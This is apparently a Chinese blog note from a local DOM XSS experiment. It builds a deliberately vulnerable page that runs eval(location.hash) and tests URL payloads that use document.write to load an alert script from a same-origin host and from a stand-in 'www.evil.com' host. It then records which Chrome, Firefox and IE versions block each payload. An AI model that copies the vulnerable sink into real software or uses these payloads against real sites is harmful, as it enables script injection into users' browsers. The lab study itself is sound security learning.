前言
参考文档:web前端黑客技术揭秘笔记 第三章
假设已经配置好hosts文件:
127.0.0.1 www.foo.com
127.0.0.1 www.evil.com
配置
根目录新建xssme.html
文件,内容为:
<script>
eval(location.hash.substr(1));
</script>
以及alert.js
文件,内容为:
alert("123");
alert
浏览器访问http://127.0.0.1/xssme.html#alert(1)。
上到谷歌最高版本75测试成功。更老的其他版本自然也没问题。
下到IE6,也能弹窗出来。
据此可知,简单的alert
语句并未被浏览器阻止。
引入js
同源
首先来看同源下的引入js。地址:
http://127.0.0.1/xssme.html#document.write("<script/src=//127.0.0.1/alert.js></script>")
或
http://www.foo.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")
或
http://www.evil.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")
谷歌75、65打开都白屏,说明即使是同源下的js脚本,也被谷歌阻止掉了。
而谷歌21版本是可以弹窗出来的:
对于火狐浏览器69版本,需要将代码修改为
<script>
eval(decodeURI(location.hash.substr(1)));
</script>
之所以这么修改,我猜测是因为,火狐69默认对地址栏的特殊字符进行了编码,可以从它的地址栏复制出来,发现是编码了引号以及尖括号的。
Firefox15.01和ie6/IE11在代码无需修改的情况下,执行成功。
IE11:
第三方
下面地址,就是会加载第三域的脚本资源
http://www.foo.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")
或
http://www.evil.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")
IE5和IE11可以执行
老版本谷歌21不可执行。自然高版本谷歌75也被阻止。
老版本火狐15执行成功。
火狐浏览器69版本在将eval(location.hash.substr(1));
修改为eval(decodeURI(location.hash.substr(1)));
再一次执行成功。
总结
经过上面的测试。可以了解到这几种版本的浏览器对xss攻击的防御能力。
alert
xss攻击在多数浏览器中均没有被阻止。应该是因为危害太小。
在谷歌21版本尚且还可以通过xss攻击来引入同域下的js文件,而现在新版本已经过滤掉了。因为同域文件也未必安全。
参考:记一次简单的DOM XSS攻击实验 - 趁你还年轻,做个优秀的前端工程师 - SegmentFault 思否